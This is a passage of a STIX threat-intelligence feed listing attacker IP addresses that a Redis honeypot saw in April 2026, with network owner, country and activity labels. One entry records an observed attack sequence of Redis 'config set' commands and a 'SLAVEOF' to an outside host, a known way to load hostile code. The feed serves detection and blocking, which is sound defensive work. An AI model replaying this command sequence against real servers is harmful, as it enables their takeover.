      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:25:32.000Z",
      "valid_until": "2026-05-10T15:25:09.000Z"
    },
    {
      "created": "2026-04-08T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T20:25:10.000Z",
      "valid_until": "2026-05-10T20:25:09.000Z"
    },
    {
      "created": "2026-04-08T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--c0c6c7f2-648b-432a-81ff-7be0b57cbd27",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '111.231.1.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:25:10.000Z",
      "valid_until": "2026-05-10T21:25:09.000Z"
    },
    {
      "created": "2026-04-08T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.23.153.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:25:10.000Z",
      "valid_until": "2026-05-10T21:25:09.000Z"
    },
    {
      "created": "2026-04-08T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--e0cee174-a471-4440-a832-52374f832c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '125.88.205.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:25:11.000Z",
      "valid_until": "2026-05-10T23:25:09.000Z"
    },
    {
      "created": "2026-04-09T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--ee72bf70-aee5-421d-9433-04249b7a433b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '113.105.90.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:25:10.000Z",
      "valid_until": "2026-05-11T00:25:09.000Z"
    },
    {
      "created": "2026-04-09T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2320af7b-6d3c-493e-bdba-1a570058bd0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.150.192.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:25:10.000Z",
      "valid_until": "2026-05-11T00:25:09.000Z"
    },
    {
      "created": "2026-04-09T01:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--a4c16a2b-639e-4bcb-aa07-8a26bd381e64",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T01:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.121.27.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:25:16.000Z",
      "valid_until": "2026-05-11T01:25:09.000Z"
    },
    {
      "created": "2026-04-09T01:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b0213881-16c4-4555-aed3-4d887ca8270f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T01:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.245.251.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:25:16.000Z",
      "valid_until": "2026-05-11T01:25:09.000Z"
    },
    {
      "created": "2026-04-09T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:25:10.000Z",
      "valid_until": "2026-05-11T02:25:09.000Z"
    },
    {
      "created": "2026-04-09T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--71f35632-f0fb-4d2f-a11d-af3cbb0dd6a0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.83.245.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:25:10.000Z",
      "valid_until": "2026-05-11T02:25:09.000Z"
    },
    {
      "created": "2026-04-09T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=SG; asn=132203; asn_org=Tencent Building, Kejizhongyi Avenue; redis_cmd_hits=0",
      "id": "indicator--53afeb5c-80b9-4a0f-b821-720942feb2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.134.0.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:25:11.000Z",
      "valid_until": "2026-05-11T03:25:09.000Z"
    },
    {
      "created": "2026-04-09T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--10bf6269-9952-41e4-9dac-e48471ff347a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:25:11.000Z",
      "valid_until": "2026-05-11T03:25:09.000Z"
    },
    {
      "created": "2026-04-09T04:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--89e15fbb-4907-47a9-84e5-91fbf4ac0a84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:25:14.000Z",
      "valid_until": "2026-05-11T04:25:09.000Z"
    },
    {
      "created": "2026-04-09T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmds=save,config set dbfilename root,SLAVEOF 8.217.32.175 7122,config set dir .,config set dbfilename dump.rdb; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--054d0096-3d58-47f4-a830-e2092487510e",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-09T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.129.223.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T05:25:10.000Z",
      "valid_until": "2026-05-11T05:25:09.000Z"
    },
    {
      "created": "2026-04-09T08:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c818ee43-df36-4975-9cea-c6fc6cf3d087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T08:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.75.43.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:25:14.000Z",
      "valid_until": "2026-05-11T08:25:09.000Z"
    },
    {
      "created": "2026-04-09T09:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T09:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.59.245.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:25:12.000Z",
      "valid_until": "2026-05-11T09:25:10.000Z"
    },
    {
      "created": "2026-04-09T09:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=198610; asn_org=Beget LLC; redis_cmd_hits=0",
      "id": "indicator--d6251bcd-c62b-4e48-835d-3adec5904aa5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T09:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.212.219.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:25:12.000Z",
      "valid_until": "2026-05-11T09:25:10.000Z"
    },
    {
      "created": "2026-04-09T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--b2133504-90d6-4eb1-83c3-e0f358962f83",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '101.126.20.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:25:10.000Z",
      "valid_until": "2026-05-11T10:25:09.000Z"
    },
    {
      "created": "2026-04-09T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:25:10.000Z",
      "valid_until": "2026-05-11T10:25:09.000Z"
    },
    {
      "created": "2026-04-09T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--77bc7b92-3d62-4095-ab63-cde17bdda348",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T13:25:10.000Z",
      "valid_until": "2026-05-11T13:25:09.000Z"
    },
    {
      "created": "2026-04-09T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--b8f51242-7d7e-485c-ba45-72fef17b6a3c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.79.104.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T13:25:10.000Z",
      "valid_until": "2026-05-11T13:25:09.000Z"
    },
    {
      "created": "2026-04-09T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--178fed7f-ca55-4aef-9ec1-6d50480057ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.154.62.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:25:10.000Z",
      "valid_until": "2026-05-11T14:25:09.000Z"
    },
    {
      "created": "2026-04-09T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=CA; asn=12989; asn_org=Black HOST Ltd; redis_cmd_hits=0",
      "id": "indicator--8068fd46-03f5-4476-9078-d4da6165f6a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T14:25:10.000Z",
      "valid_until": "2026-05-11T14:25:09.000Z"
    },
    {
      "created": "2026-04-09T16:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--cea414d3-bb30-4744-a8ce-dd0a2d118e87",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-09T16:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T16:25:12.000Z",
      "valid_until": "2026-05-11T16:25:09.000Z"
    },
    {
      "created": "2026-04-09T17:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--709dd183-633c-4bf3-9fe6-aba68e6ea558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T17:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.180.136.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T17:25:12.000Z",
      "valid_until": "2026-05-11T17:25:11.000Z"
    },
    {
      "created": "2026-04-09T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--81905b69-f485-46e9-841b-6cd7e0302311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.215.99.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:25:10.000Z",
      "valid_until": "2026-05-11T22:25:09.000Z"
    },
    {
      "created": "2026-04-10T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--2531d97c-085d-46d4-83e5-0023275484dd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:25:14.000Z",
      "valid_until": "2026-05-12T00:25:13.000Z"
    },
    {
      "created": "2026-04-10T00:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--1c0afb5e-6b4b-4c39-ba10-7b94c4e3407b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:25:14.000Z",
      "valid_until": "2026-05-12T00:25:13.000Z"
    },
    {
      "created": "2026-04-10T04:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=IN; asn=150303; asn_org=SoloRDP; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--eac5f022-732a-4458-a45b-a0b0c3d12684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T04:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.215.74.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:25:16.000Z",
      "valid_until": "2026-05-12T04:25:09.000Z"
    },
    {
      "created": "2026-04-10T04:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--bb9d1203-2cf4-4d40-8473-a95e50df2d75",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T04:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:25:16.000Z",
      "valid_until": "2026-05-12T04:25:09.000Z"
    },
    {
      "created": "2026-04-10T04:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=96; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"...L....X.l.-....K.@e.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group\"",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T04:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:25:16.000Z",
      "valid_until": "2026-05-12T04:25:09.000Z"
    },
    {
      "created": "2026-04-10T05:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d47a9e63-0338-4a09-b0ee-c06d9b228cfd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T05:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:25:19.000Z",
      "valid_until": "2026-05-12T05:25:09.000Z"
    },
    {
      "created": "2026-04-10T05:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--8abfc61a-f7e3-4230-a985-7b8a9d78ff4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:25:19.000Z",
      "valid_until": "2026-05-12T05:25:09.000Z"
    },
    {
      "created": "2026-04-10T05:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:25:19.000Z",
      "valid_until": "2026-05-12T05:25:09.000Z"
    },
    {
      "created": "2026-04-10T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=48; ports=6379; cc=US; asn=154177; asn_org=LIGHT NODE LIMITED; redis_cmd_hits=0",
      "id": "indicator--40f67f9e-2198-4126-86b8-73a879b31791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.94.21.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:25:10.000Z",
      "valid_until": "2026-05-12T08:25:09.000Z"
    },
    {
      "created": "2026-04-10T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=31; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:25:10.000Z",
      "valid_until": "2026-05-12T08:25:09.000Z"
    },
    {
      "created": "2026-04-10T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=134420; asn_org=Chongqing Telecom; redis_cmd_hits=0",
      "id": "indicator--557c786f-025b-4beb-b4f3-73a223df2dd1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '113.249.112.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:25:10.000Z",
      "valid_until": "2026-05-12T10:25:09.000Z"
    },
    {
      "created": "2026-04-10T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--d961bd9a-1d4c-4a03-a36a-4c98b1cf6034",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.186.131.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:25:10.000Z",
      "valid_until": "2026-05-12T12:25:09.000Z"
    },
    {
      "created": "2026-04-10T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f9225773-2053-4e36-9f4e-70992c5281c1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-10T14:25:10.000Z",
